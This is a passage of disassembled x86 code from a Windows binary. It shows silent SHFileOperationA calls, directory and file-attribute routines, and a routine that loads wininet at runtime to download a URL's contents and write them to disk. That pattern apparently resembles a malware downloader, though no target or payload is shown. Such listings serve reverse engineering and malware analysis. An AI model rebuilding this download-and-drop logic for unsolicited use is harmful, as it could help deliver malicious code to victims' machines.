; memset add esp, 0Ch lea edx, [ebp-230h] mov [ebp-120h], edx lea eax, [ebp-108h] mov [ebp-11Ch], eax mov dword ptr [ebp-124h], 2 mov word ptr [ebp-118h], 80h cmp dword ptr [ebp+10h], 0 jz short loc_421C7B mov cx, [ebp-118h] or cx, 210h mov [ebp-118h], cx loc_421C7B: ; CODE XREF: TEUm:00421C66j lea edx, [ebp-128h] push edx call dword_433288 ; SHFileOperationA neg eax sbb eax, eax inc eax loc_421C8D: ; CODE XREF: TEUm:00421C22j pop edi mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C92 proc near ; CODE XREF: sub_422C48+18Ep ; sub_422C48+1F1p ... var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_13B = byte ptr -13Bh var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = word ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_421C92 mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 130h push ebx push esi push edi mov [ebp+var_10], esp mov al, ds:byte_439C80 mov [ebp+var_13C], al mov ecx, 41h xor eax, eax lea edi, [ebp+var_13B] rep stosd stosb push 104h mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+var_13C] push edx call sub_422680 add esp, 0Ch lea eax, [ebp+var_13C] push eax call sub_4221DB add esp, 4 cmp eax, 1 jnz short loc_421D0D push 10000000h call dword_433078 ; RtlSetLastWin32Error xor eax, eax jmp short loc_421D79 ; --------------------------------------------------------------------------- loc_421D0D: ; CODE XREF: sub_421C92+6Aj push 1Eh push 0 lea ecx, [ebp+var_34] push ecx call sub_4318B2 ; memset add esp, 0Ch lea edx, [ebp+var_13C] mov [ebp+var_2C], edx mov [ebp+var_30], 3 mov [ebp+var_24], 694h mov [ebp+var_14], 0FFFFFFFFh mov [ebp+var_4], 0 push 1Eh call dword_4330E0 ; Sleep lea eax, [ebp+var_34] push eax call dword_433288 ; SHFileOperationA mov [ebp+var_14], eax jmp short loc_421D69 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_140] call sub_431790 mov eax, offset loc_421D69 retn ; --------------------------------------------------------------------------- loc_421D69: ; CODE XREF: sub_421C92+C4j ; DATA XREF: sub_421C92+D1o mov [ebp+var_4], 0FFFFFFFFh xor eax, eax cmp [ebp+var_14], 0 setz al loc_421D79: ; CODE XREF: sub_421C92+79j mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421C92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D8A proc near ; CODE XREF: sub_422C48+16Dp ; sub_424606+1B7p ... var_230 = byte ptr -230h var_22F = byte ptr -22Fh var_128 = byte ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_108 = byte ptr -108h var_107 = byte ptr -107h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 230h push edi mov al, ds:byte_439C84 mov [ebp+var_230], al mov ecx, 41h xor eax, eax lea edi, [ebp+var_22F] rep stosd stosb mov cl, ds:byte_439C88 mov [ebp+var_108], cl mov ecx, 41h xor eax, eax lea edi, [ebp+var_107] rep stosd stosb push 104h mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_230] push eax call sub_422680 add esp, 0Ch push 104h mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_108] push edx call sub_422680 add esp, 0Ch lea eax, [ebp+var_230] push eax call sub_4221DB add esp, 4 cmp eax, 1 jnz short loc_421E1E push 10000000h call dword_433078 ; RtlSetLastWin32Error xor eax, eax jmp short loc_421E81 ; --------------------------------------------------------------------------- loc_421E1E: ; CODE XREF: sub_421D8A+83j push 1Eh push 0 lea ecx, [ebp+var_128] push ecx call sub_4318B2 ; memset add esp, 0Ch lea edx, [ebp+var_230] mov [ebp+var_120], edx lea eax, [ebp+var_108] mov [ebp+var_11C], eax mov [ebp+var_124], 4 mov [ebp+var_118], 80h mov cx, [ebp+var_118] or cx, 614h mov [ebp+var_118], cx lea edx, [ebp+var_128] push edx call dword_433288 ; SHFileOperationA neg eax sbb eax, eax inc eax loc_421E81: ; CODE XREF: sub_421D8A+92j pop edi mov esp, ebp pop ebp retn sub_421D8A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 230h push edi mov al, ds:byte_439C8C mov [ebp-230h], al mov ecx, 41h xor eax, eax lea edi, [ebp-22Fh] rep stosd stosb mov cl, ds:byte_439C90 mov [ebp-108h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-107h] rep stosd stosb push 104h mov edx, [ebp+8] push edx lea eax, [ebp-230h] push eax call sub_422680 add esp, 0Ch push 104h mov ecx, [ebp+0Ch] push ecx lea edx, [ebp-108h] push edx call sub_422680 add esp, 0Ch push 1Eh push 0 lea eax, [ebp-128h] push eax call sub_4318B2 ; memset add esp, 0Ch lea ecx, [ebp-230h] mov [ebp-120h], ecx lea edx, [ebp-108h] mov [ebp-11Ch], edx mov dword ptr [ebp-124h], 2 cmp dword ptr [ebp+10h], 0 jz short loc_421F44 mov ax, [ebp-118h] or ax, 210h mov [ebp-118h], ax loc_421F44: ; CODE XREF: TEUm:00421F30j lea ecx, [ebp-128h] push ecx call dword_433288 ; SHFileOperationA neg eax sbb eax, eax inc eax pop edi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 234h push edi mov al, ds:byte_439C94 mov [ebp-234h], al mov ecx, 41h xor eax, eax lea edi, [ebp-233h] rep stosd stosb push 104h mov ecx, [ebp+8] push ecx lea edx, [ebp-234h] push edx call sub_422680 add esp, 0Ch push 1Eh push 0 lea eax, [ebp-24h] push eax call sub_4318B2 ; memset add esp, 0Ch lea ecx, [ebp-234h] mov [ebp-1Ch], ecx mov dword ptr [ebp-20h], 3 cmp dword ptr [ebp+0Ch], 0 jz short loc_421FCB mov dx, [ebp-14h] or dx, 210h mov [ebp-14h], dx loc_421FCB: ; CODE XREF: TEUm:00421FBCj mov al, ds:byte_439C98 mov [ebp-12Ch], al mov ecx, 41h xor eax, eax lea edi, [ebp-12Bh] rep stosd lea ecx, [ebp-12Ch] push ecx push 104h call dword_43302C ; GetCurrentDirectoryA mov dword ptr [ebp-4], 1 loc_421FFE: ; CODE XREF: TEUm:00422030j cmp dword ptr [ebp-4], 0 jz short loc_422032 lea edx, [ebp-234h] push edx lea eax, [ebp-12Ch] push eax call sub_42239F add esp, 8 test eax, eax jnz short loc_422032 lea ecx, [ebp-12Ch] push ecx call sub_422296 add esp, 4 mov [ebp-4], eax jmp short loc_421FFE ; --------------------------------------------------------------------------- loc_422032: ; CODE XREF: TEUm:00422002j ; TEUm:0042201Cj lea edx, [ebp-24h] push edx call dword_433288 ; SHFileOperationA neg eax sbb eax, eax inc eax pop edi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 33Ch push edi mov al, ds:byte_439C9C mov [ebp-33Ch], al mov ecx, 41h xor eax, eax lea edi, [ebp-33Bh] rep stosd stosb mov cl, ds:byte_439CA0 mov [ebp-108h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-107h] rep stosd stosb push 104h mov edx, [ebp+8] push edx lea eax, [ebp-33Ch] push eax call sub_422680 add esp, 0Ch push 104h mov ecx, [ebp+0Ch] push ecx lea edx, [ebp-108h] push edx call sub_422680 add esp, 0Ch push 1Eh push 0 lea eax, [ebp-12Ch] push eax call sub_4318B2 ; memset add esp, 0Ch lea ecx, [ebp-33Ch] mov [ebp-124h], ecx lea edx, [ebp-108h] mov [ebp-120h], edx mov dword ptr [ebp-128h], 1 cmp dword ptr [ebp+10h], 0 jz short loc_422104 mov ax, [ebp-11Ch] or ax, 210h mov [ebp-11Ch], ax loc_422104: ; CODE XREF: TEUm:004220F0j mov cl, ds:byte_439CA4 mov [ebp-234h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-233h] rep stosd lea edx, [ebp-234h] push edx push 104h call dword_43302C ; GetCurrentDirectoryA mov dword ptr [ebp-10Ch], 1 loc_42213B: ; CODE XREF: TEUm:00422180j cmp dword ptr [ebp-10Ch], 0 jz short loc_422182 lea eax, [ebp-33Ch] push eax lea ecx, [ebp-234h] push ecx call sub_42239F add esp, 8 test eax, eax jnz short loc_422182 push 0 call sub_422296 add esp, 4 mov [ebp-10Ch], eax lea edx, [ebp-234h] push edx push 104h call dword_43302C ; GetCurrentDirectoryA jmp short loc_42213B ; --------------------------------------------------------------------------- loc_422182: ; CODE XREF: TEUm:00422142j ; TEUm:0042215Cj lea eax, [ebp-12Ch] push eax call dword_433288 ; SHFileOperationA neg eax sbb eax, eax inc eax pop edi mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422199 proc near ; CODE XREF: sub_424A2E+Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 mov eax, [ebp+arg_0] push eax call dword_433030 ; CreateDirectoryA pop ebp retn sub_422199 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] push eax call dword_433034 ; RemoveDirectoryA pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call dword_433038 ; SetFileAttributesA pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] push eax call dword_43303C ; GetFileAttributesA pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221DB proc near ; CODE XREF: TEUm:00421C08p ; sub_421C92+5Fp ... var_144 = dword ptr -144h var_140 = dword ptr -140h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 144h push 140h push 0 lea eax, [ebp+var_140] push eax call sub_4318B2 ; memset add esp, 0Ch lea ecx, [ebp+var_140] push ecx mov edx, [ebp+arg_0] push edx call dword_433044 ; FindFirstFileA mov [ebp+var_144], eax cmp [ebp+var_144], 0FFFFFFFFh jnz short loc_42221E xor eax, eax jmp short loc_422292 ; --------------------------------------------------------------------------- loc_42221E: ; CODE XREF: sub_4221DB+3Dj mov eax, [ebp+var_140] or al, 10h cmp [ebp+var_140], eax jnz short loc_422280 loc_42222E: ; CODE XREF: sub_4221DB:loc_42226Aj lea ecx, [ebp+var_140] push ecx mov edx, [ebp+var_144] push edx call dword_433080 ; FindNextFileA test eax, eax jz short loc_42226C mov eax, [ebp+var_140] or al, 10h cmp [ebp+var_140], eax jz short loc_42226A mov ecx, [ebp+var_144] push ecx call dword_43307C ; FindClose mov eax, 2 jmp short loc_422292 ; --------------------------------------------------------------------------- loc_42226A: ; CODE XREF: sub_4221DB+79j jmp short loc_42222E ; --------------------------------------------------------------------------- loc_42226C: ; CODE XREF: sub_4221DB+69j mov edx, [ebp+var_144] push edx call dword_43307C ; FindClose mov eax, 1 jmp short loc_422292 ; --------------------------------------------------------------------------- loc_422280: ; CODE XREF: sub_4221DB+51j mov eax, [ebp+var_144] push eax call dword_43307C ; FindClose mov eax, 2 loc_422292: ; CODE XREF: sub_4221DB+41j ; sub_4221DB+8Dj ... mov esp, ebp pop ebp retn sub_4221DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422296 proc near ; CODE XREF: TEUm:00422025p ; TEUm:00422160p var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push edi mov al, ds:byte_439CA8 mov [ebp+var_10C], al mov ecx, 41h xor eax, eax lea edi, [ebp+var_10B] rep stosd lea ecx, [ebp+var_10C] push ecx push 104h call dword_43302C ; GetCurrentDirectoryA lea edx, [ebp+var_10C] push edx call sub_422435 add esp, 4 movsx eax, al test eax, eax jz short loc_4222E9 xor eax, eax jmp loc_42239A ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_422296+4Aj lea ecx, [ebp+var_10C] push ecx call sub_4318BE ; strlen add esp, 4 mov [ebp+var_110], eax mov edx, [ebp+var_110] sub edx, 1 mov [ebp+var_4], edx jmp short loc_422315 ; --------------------------------------------------------------------------- loc_42230C: ; CODE XREF: sub_422296:loc_42237Dj mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_422315: ; CODE XREF: sub_422296+74j cmp [ebp+var_4], 0 jl short loc_42237F mov ecx, [ebp+var_4] movsx edx, [ebp+ecx+var_10C] cmp edx, 5Ch jnz short loc_42237D mov eax, [ebp+var_4] mov [ebp+eax+var_10C], 0 cmp [ebp+arg_0], 0 jz short loc_42234F lea ecx, [ebp+var_10C] push ecx mov edx, [ebp+arg_0] push edx call sub_4318B8 ; strcpy add esp, 8 loc_42234F: ; CODE XREF: sub_422296+A4j lea eax, [ebp+var_10C] push eax call sub_422435 add esp, 4 movsx ecx, al test ecx, ecx jz short loc_422369 xor eax, eax jmp short loc_42239A ; --------------------------------------------------------------------------- loc_422369: ; CODE XREF: sub_422296+CDj lea edx, [ebp+var_10C] push edx call dword_433048 ; SetCurrentDirectoryA mov eax, 1 jmp short loc_42239A ; --------------------------------------------------------------------------- loc_42237D: ; CODE XREF: sub_422296+93j jmp short loc_42230C ; --------------------------------------------------------------------------- loc_42237F: ; CODE XREF: sub_422296+83j cmp [ebp+arg_0], 0 jz short loc_422398 lea eax, [ebp+var_10C] push eax mov ecx, [ebp+arg_0] push ecx call sub_4318B8 ; strcpy add esp, 8 loc_422398: ; CODE XREF: sub_422296+EDj xor eax, eax loc_42239A: ; CODE XREF: sub_422296+4Ej ; sub_422296+D1j ... pop edi mov esp, ebp pop ebp retn sub_422296 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42239F proc near ; CODE XREF: TEUm:00422012p ; TEUm:00422152p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi mov eax, [ebp+arg_0] push eax call sub_4318BE ; strlen add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] push ecx call sub_4318BE ; strlen add esp, 4 mov [ebp+var_C], eax mov edx, [ebp+var_C] sub edx, 1 cmp [ebp+var_4], edx jb short loc_4223D3 xor eax, eax jmp short loc_422430 ; --------------------------------------------------------------------------- loc_4223D3: ; CODE XREF: sub_42239F+2Ej mov [ebp+var_8], 0 jmp short loc_4223E5 ; --------------------------------------------------------------------------- loc_4223DC: ; CODE XREF: sub_42239F:loc_42241Dj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4223E5: ; CODE XREF: sub_42239F+3Bj mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jnb short loc_42241F mov edx, [ebp+arg_0] add edx, [ebp+var_8] movsx eax, byte ptr [edx] push eax call dword_4331F4 ; toupper add esp, 4 mov esi, eax mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movsx edx, byte ptr [ecx] push edx call dword_4331F4 ; toupper add esp, 4 cmp esi, eax jz short loc_42241D xor eax, eax jmp short loc_422430 ; --------------------------------------------------------------------------- loc_42241D: ; CODE XREF: sub_42239F+78j jmp short loc_4223DC ; --------------------------------------------------------------------------- loc_42241F: ; CODE XREF: sub_42239F+4Cj mov eax, [ebp+arg_4] add eax, [ebp+var_8] movsx ecx, byte ptr [eax] xor eax, eax cmp ecx, 5Ch setz al loc_422430: ; CODE XREF: sub_42239F+32j ; sub_42239F+7Cj pop esi mov esp, ebp pop ebp retn sub_42239F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422435 proc near ; CODE XREF: sub_422296+3Dp ; sub_422296+C0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call sub_4318BE ; strlen add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 2 jl short loc_422454 cmp [ebp+var_4], 3 jle short loc_422458 loc_422454: ; CODE XREF: sub_422435+17j xor al, al jmp short loc_4224B1 ; --------------------------------------------------------------------------- loc_422458: ; CODE XREF: sub_422435+1Dj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] push edx call dword_4331F4 ; toupper add esp, 4 cmp eax, 41h jl short loc_422482 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call dword_4331F4 ; toupper add esp, 4 cmp eax, 5Ah jle short loc_422486 loc_422482: ; CODE XREF: sub_422435+36j xor al, al jmp short loc_4224B1 ; --------------------------------------------------------------------------- loc_422486: ; CODE XREF: sub_422435+4Bj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] cmp eax, 3Ah jz short loc_422496 xor al, al jmp short loc_4224B1 ; --------------------------------------------------------------------------- loc_422496: ; CODE XREF: sub_422435+5Bj cmp [ebp+var_4], 3 jnz short loc_4224AC mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+2] cmp edx, 5Ch jz short loc_4224AC xor al, al jmp short loc_4224B1 ; --------------------------------------------------------------------------- loc_4224AC: ; CODE XREF: sub_422435+65j ; sub_422435+71j mov eax, [ebp+arg_0] mov al, [eax] loc_4224B1: ; CODE XREF: sub_422435+21j ; sub_422435+4Fj ... mov esp, ebp pop ebp retn sub_422435 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224B5 proc near ; CODE XREF: TEUm:0042257Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+arg_0] push eax call dword_4331D8 ; ftell add esp, 4 mov [ebp+var_4], eax push 2 push 0 mov ecx, [ebp+arg_0] push ecx call dword_4331F0 ; fseek add esp, 0Ch mov edx, [ebp+arg_0] push edx call dword_4331D8 ; ftell add esp, 4 mov [ebp+var_8], eax push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4331F0 ; fseek add esp, 0Ch mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_4224B5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_431D8C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h mov [ebp-34h], ecx mov dword ptr [ebp-30h], 0 mov dword ptr [ebp-4], 1 lea ecx, [ebp-1Ch] call sub_4317AE mov byte ptr [ebp-4], 2 mov dword ptr [ebp-14h], 0 mov dword ptr [ebp-18h], 0 mov dword ptr [ebp-10h], 0 push offset aR_0 ; "r" lea ecx, [ebp+0Ch] call sub_4226A0 push eax call dword_4331C4 ; fopen add esp, 8 mov [ebp-24h], eax cmp dword ptr [ebp-24h], 0 jz short loc_4225E0 mov eax, [ebp-24h] push eax mov ecx, [ebp-34h] call sub_4224B5 mov [ebp-14h], eax mov ecx, [ebp-14h] push ecx call dword_4331C8 ; malloc add esp, 4 mov [ebp-10h], eax mov dword ptr [ebp-28h], 0 jmp short loc_4225A9 ; --------------------------------------------------------------------------- loc_4225A0: ; CODE XREF: TEUm:004225BAj mov edx, [ebp-28h] add edx, 1 mov [ebp-28h], edx loc_4225A9: ; CODE XREF: TEUm:0042259Ej mov eax, [ebp-28h] cmp eax, [ebp-14h] jge short loc_4225BC mov ecx, [ebp-10h] add ecx, [ebp-28h] mov byte ptr [ecx], 0Ah jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_4225BC: ; CODE XREF: TEUm:004225AFj mov edx, [ebp-24h] push edx push 1 mov eax, [ebp-14h] push eax mov ecx, [ebp-10h] push ecx call dword_433254 ; fread add esp, 10h mov edx, [ebp-24h] push edx call dword_4331D0 ; fclose add esp, 4 loc_4225E0: ; CODE XREF: TEUm:00422576j cmp dword ptr [ebp-10h], 0 jz short loc_422630 mov eax, [ebp-14h] push eax push 0 mov ecx, [ebp-10h] push ecx lea edx, [ebp-2Ch] push edx lea ecx, [ebp-20h] call sub_421ACF mov [ebp-38h], eax mov eax, [ebp-38h] mov [ebp-3Ch], eax mov byte ptr [ebp-4], 3 mov ecx, [ebp-3Ch] push ecx lea ecx, [ebp-1Ch] call sub_4317A8 mov byte ptr [ebp-4], 2 lea ecx, [ebp-2Ch] call sub_4317A2 mov edx, [ebp-10h] push edx call dword_4331D4 ; free add esp, 4 jmp short loc_42263D ; --------------------------------------------------------------------------- loc_422630: ; CODE XREF: TEUm:004225E4j push offset dword_439CAC lea ecx, [ebp-1Ch] call sub_43179C loc_42263D: ; CODE XREF: TEUm:0042262Ej lea eax, [ebp-1Ch] push eax mov ecx, [ebp+8] call sub_431796 mov ecx, [ebp-30h] or ecx, 1 mov [ebp-30h], ecx mov byte ptr [ebp-4], 1 lea ecx, [ebp-1Ch] call sub_4317A2 mov byte ptr [ebp-4], 0 lea ecx, [ebp+0Ch] call sub_4317A2 mov eax, [ebp+8] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422680 proc near ; CODE XREF: TEUm:00421BE1p ; TEUm:00421BF9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_433200 ; _mbsnbcpy add esp, 0Ch pop ebp retn sub_422680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226A0 proc near ; CODE XREF: TEUm:00422560p ; sub_4266E9+1Dp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax] mov esp, ebp pop ebp retn sub_4226A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226B0 proc near ; CODE XREF: sub_422A1E+7Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4332CC mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4226B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226C7 proc near ; CODE XREF: sub_4229F0+Ap ; sub_422BB1+26p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4332CC mov esp, ebp pop ebp retn sub_4226C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226DB proc near ; CODE XREF: sub_422C48+A6p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] call sub_4227A4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jbe loc_422798 cmp [ebp+arg_4], 0 jz short loc_422776 push 0 push 8000000h push 2 push 0 push 0 push 40000000h mov edx, [ebp+arg_4] push edx call dword_433018 ; CreateFileA mov [ebp+var_10], eax cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_42273E xor al, al jmp short loc_42279E ; --------------------------------------------------------------------------- loc_42273E: ; CODE XREF: sub_4226DB+5Dj mov [ebp+var_C], 0 push 0 lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_14] mov eax, [edx+4] push eax mov ecx, [ebp+var_10] push ecx call dword_433050 ; WriteFile mov edx, [ebp+var_10] push edx call dword_433020 ; CloseHandle mov eax, [ebp+var_C] cmp eax, [ebp+var_4] jz short loc_422776 xor al, al jmp short loc_42279E ; --------------------------------------------------------------------------- loc_422776: ; CODE XREF: sub_4226DB+38j ; sub_4226DB+95j mov ecx, [ebp+var_14] cmp dword ptr [ecx+4], 0 jz short loc_422796 mov edx, [ebp+var_14] mov eax, [edx+4] push eax call dword_43304C ; GlobalFree mov ecx, [ebp+var_14] mov dword ptr [ecx+4], 0 loc_422796: ; CODE XREF: sub_4226DB+A2j jmp short loc_42279C ; --------------------------------------------------------------------------- loc_422798: ; CODE XREF: sub_4226DB+2Ej xor al, al jmp short loc_42279E ; --------------------------------------------------------------------------- loc_42279C: ; CODE XREF: sub_4226DB:loc_422796j mov al, 1 loc_42279E: ; CODE XREF: sub_4226DB+61j ; sub_4226DB+99j ... mov esp, ebp pop ebp retn 8 sub_4226DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227A4 proc near ; CODE XREF: sub_4226DB+22p ; sub_422F1F+35p var_2034 = dword ptr -2034h var_2030 = dword ptr -2030h var_202C = dword ptr -202Ch var_2028 = dword ptr -2028h var_2024 = dword ptr -2024h var_2020 = byte ptr -2020h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2034h call sub_431860 mov [ebp+var_2034], ecx cmp [ebp+arg_0], 0 jnz short loc_4227C4 xor eax, eax jmp loc_4229EA ; --------------------------------------------------------------------------- loc_4227C4: ; CODE XREF: sub_4227A4+17j mov eax, [ebp+var_2034] cmp dword ptr [eax+4], 0 jz short loc_4227ED mov ecx, [ebp+var_2034] mov edx, [ecx+4] push edx call dword_43304C ; GlobalFree mov eax, [ebp+var_2034] mov dword ptr [eax+4], 0 loc_4227ED: ; CODE XREF: sub_4227A4+2Aj push offset aWininet_dll ; "wininet.dll" call dword_4330DC ; LoadLibraryA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_422808 xor eax, eax jmp loc_4229EA ; --------------------------------------------------------------------------- loc_422808: ; CODE XREF: sub_4227A4+5Bj push offset aInternetopena ; "InternetOpenA" mov ecx, [ebp+var_1C] push ecx call dword_433060 ; GetProcAddress mov [ebp+var_202C], eax push offset aInternetopenur ; "InternetOpenUrlA" mov edx, [ebp+var_1C] push edx call dword_433060 ; GetProcAddress mov [ebp+var_8], eax push offset aInternetcloseh ; "InternetCloseHandle" mov eax, [ebp+var_1C] push eax call dword_433060 ; GetProcAddress mov [ebp+var_10], eax push offset aInternetreadfi ; "InternetReadFile" mov ecx, [ebp+var_1C] push ecx call dword_433060 ; GetProcAddress mov [ebp+var_18], eax mov edx, [ebp+var_2034] mov dword ptr [edx+4], 0 mov [ebp+var_20], 0 mov [ebp+var_2024], 0 mov [ebp+var_C], 0 push 0 push 0 push 0 push 1 push 0 call [ebp+var_202C] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_422898 xor eax, eax jmp loc_4229EA ; --------------------------------------------------------------------------- loc_422898: ; CODE XREF: sub_4227A4+EBj push 0 push 9 push 0 push 0 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_20] push ecx call [ebp+var_8] mov [ebp+var_2024], eax cmp [ebp+var_2024], 0 jnz short loc_4228C1 xor eax, eax jmp loc_4229EA ; --------------------------------------------------------------------------- loc_4228C1: ; CODE XREF: sub_4227A4+114j mov [ebp+var_2028], 2000h mov [ebp+var_4], 0 mov edx, [ebp+var_2034] cmp dword ptr [edx+4], 0 jz short loc_4228FB mov eax, [ebp+var_2034] mov ecx, [eax+4] push ecx call dword_43304C ; GlobalFree mov edx, [ebp+var_2034] mov dword ptr [edx+4], 0 loc_4228FB: ; CODE XREF: sub_4227A4+138j push 0 push 40h call dword_43305C ; GlobalAlloc mov ecx, [ebp+var_2034] mov [ecx+4], eax loc_42290E: ; CODE XREF: sub_4227A4+1F9j lea edx, [ebp+var_14] push edx push 1FFFh lea eax, [ebp+var_2020] push eax mov ecx, [ebp+var_2024] push ecx call [ebp+var_18] test eax, eax jz short loc_4229A2 cmp [ebp+var_14], 0 jnz short loc_422934 jmp short loc_4229A2 ; --------------------------------------------------------------------------- loc_422934: ; CODE XREF: sub_4227A4+18Cj mov edx, [ebp+var_14] mov [ebp+edx+var_2020], 0 cmp [ebp+var_14], 2000h jnb short loc_422952 mov [ebp+var_2030], 0 loc_422952: ; CODE XREF: sub_4227A4+1A2j push 2 mov eax, [ebp+var_4] add eax, [ebp+var_14] push eax mov ecx, [ebp+var_2034] mov edx, [ecx+4] push edx call dword_433058 ; GlobalReAlloc mov ecx, [ebp+var_2034] mov [ecx+4], eax mov edx, [ebp+var_14] push edx lea eax, [ebp+var_2020] push eax mov ecx, [ebp+var_2034] mov edx, [ecx+4] add edx, [ebp+var_4] push edx call sub_4318C4 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] add eax, [ebp+var_14] mov [ebp+var_4], eax jmp loc_42290E ; --------------------------------------------------------------------------- loc_4229A2: ; CODE XREF: sub_4227A4+186j ; sub_4227A4+18Ej cmp [ebp+var_20], 0 jz short loc_4229AF mov ecx, [ebp+var_20] push ecx call [ebp+var_10] loc_4229AF: ; CODE XREF: sub_4227A4+202j cmp [ebp+var_2024], 0 jz short loc_4229C2 mov edx, [ebp+var_2024] push edx call [ebp+var_10] loc_4229C2: ; CODE XREF: sub_4227A4+212j cmp [ebp+var_C], 0 jz short loc_4229CF mov eax, [ebp+var_C] push 